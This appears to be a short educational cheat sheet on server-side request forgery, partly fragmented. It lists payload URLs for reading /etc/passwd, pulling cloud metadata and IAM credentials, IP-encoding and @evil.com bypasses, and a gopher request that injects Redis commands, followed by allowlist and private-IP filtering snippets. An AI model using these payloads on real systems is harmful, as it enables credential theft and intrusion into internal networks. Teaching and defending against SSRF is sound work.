1. Basic SSRF Attacks
URL Fetching
http://vulnerable.com/api/fetch?url=http://attacker.com
File Protocol
http://vulnerable.com/export?template=file:///etc/passwd
Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make the server perform unauthorized requests on behalf of the attacker. This can be used to access internal systems, read sensitive metadata, or even pivot into private networks.
http://vulnerable.com/api/fetch?url=http://attacker.com
http://vulnerable.com/export?template=file:///etc/passwd
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://7f000001.0x7f.1 (127.0.0.1) http://localtest.me (resolves to 127.0.0.1)
http://127.0.0.1:80@evil.com http://0177.0.0.1 (Octal encoding) http://0x7f.0x0.0x0.0x1 (Hex encoding) http://①②⑦.⓪.⓪.① (Unicode)
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aPING%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0akey%0d%0a$5%0d%0avalue%0d%0a
http://internal-admin-panel.local/run?cmd=id http://127.0.0.1:8080/actuator/gateway/routes/new
// Only allow specific domains const ALLOWED_DOMAINS = ['api.trusted.com', 'cdn.safe.org']; if (!ALLOWED_DOMAINS.includes(new URL(input).hostname)) { throw new Error('Domain not allowed'); }
// Reject private, localhost, and cloud IPs function isForbiddenIP(ip) { return ip.match(/^127.|^10.|^192.168.|^172.(1[6-9]|2[0-9]|3[0-1]).|^169.254./); }
requests
with allow_redirects=False
file://
, gopher://
, dict://
# Django SSRF Protection from django_ssrf.protection import SSRFProtect @SSRFProtect def fetch_url(request): # Your view code
This content is provided for educational purposes only. Never test security vulnerabilities against systems without explicit permission. Unauthorized testing may violate laws.